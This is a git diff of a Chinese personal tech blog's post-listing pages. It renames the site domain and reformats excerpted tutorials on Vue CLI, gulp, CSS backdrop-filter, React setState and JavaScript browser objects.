y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>深入学习vuejs</h2></header><div class=entry-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
 或者
@@ -20,11 +20,7 @@
 yarn start/yarn run dev
 如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
-transpileDependencies: true,
-lintOnSave: false
-})
-这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://xiaochenabc123.github.io/posts/75/></a></article><article class=post-entry><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了...</p></div><footer class=entry-footer><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vuejs" href=https://chenjunlinabc.github.io/posts/75/></a></article><article class=post-entry><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install –global gulp-cli
 或者
@@ -50,85 +46,28 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require("gulp");
-gulp.task("test", function() {
-return console.log("hallo gulp");
-});
-执行test任务（在终端，应用根目录下）
-gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://xiaochenabc123.github.io/posts/73/></a></article><article class=post-entry><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
+let gulp = require("gulp"); gulp.task("test", function() { return console.log("hallo gulp"); }); 执行test任务（在终端，应用根目录下）
+gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://chenjunlinabc.github.io/posts/73/></a></article><article class=post-entry><header class=entry-header><h2>简单利用backdrop-filter属性实现效果</h2></header><div class=entry-content><p>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&lt;style>
-*{
-margin: 0;
-padding: 0;
-}
-#app{
-width: 100%;
-height: 50rem;
-background-image: url("1.jpg");
-}
-#test{
-position: absolute;
-top: 0;
-left: 0;
-right: 0;
-bottom: 0;
-backdrop-filter: blur(10px);
-}
-.text{
-padding-top: 100px;
-text-align: center;
-}
-&lt;/style>
-&lt;div id="app">
-&lt;div id="test">
-&lt;p class="text">
-hallo word
-&lt;/p>
-&lt;/div>
-&lt;/div>
-backdrop-filter和filter区别：
+&lt;style> *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url("1.jpg"); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &lt;/style> &lt;div id="app"> &lt;div id="test"> &lt;p class="text"> hallo word &lt;/p> &lt;/div> &lt;/div> backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
-backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://xiaochenabc123.github.io/posts/65/></a></article><article class=post-entry><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
+backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</p></div><footer class=entry-footer><span title='2021-08-06 10:18:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用backdrop-filter属性实现效果" href=https://chenjunlinabc.github.io/posts/65/></a></article><article class=post-entry><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-},() => {
-console.log(this.state.count)
-})
-可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
-&lt;div>hallo&lt;/div>
-)
-console.log(Abc)
-可以看到输出返回的是一个js对象
+const Abc = ( &lt;div>hallo&lt;/div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -140,36 +79,21 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://xiaochenabc123.github.io/posts/63/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://chenjunlinabc.github.io/posts/63/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript知识扩展</h2></header><div class=entry-content><p>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
-console.log(arguments.length);
-console.log(arguments[0]);
-console.log(arguments.callee);
-console.log(this)
-}
-abc('hallo');
-BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
-可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
-const urlData = "https://xiaochenabc123.test.com/;
-window.location.href = urlData;
-这个也可以实现跳转
-window.location.assign("https://xiaochenabc123.test.com")
-这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace("https://xiaochenabc123.test.com")
-reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
-history表示浏览器的历史记录
-console.log(window.history)
-length表示本次访问网站的数量
+console.log(window.location) const urlData = "https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign("https://xiaochenabc123.test.com") 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace("https://xiaochenabc123.test.com") reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -179,8 +103,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
-call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -191,8 +114,8 @@
 document.execCommand可以操作剪贴板
 document.execCommand(‘copy’) // 复制
 document.execCommand(‘cut’) // 剪切
-document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://xiaochenabc123.github.io/posts/61/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/14/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/16/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+document.execCommand(‘paste’) // 粘贴...</p></div><footer class=entry-footer><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript知识扩展" href=https://chenjunlinabc.github.io/posts/61/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/14/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/16/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/16/index.html b/posts/page/16/index.html
index 5f173165..c36902b6 100644
--- a/posts/page/16/index.html
+++ b/posts/page/16/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line 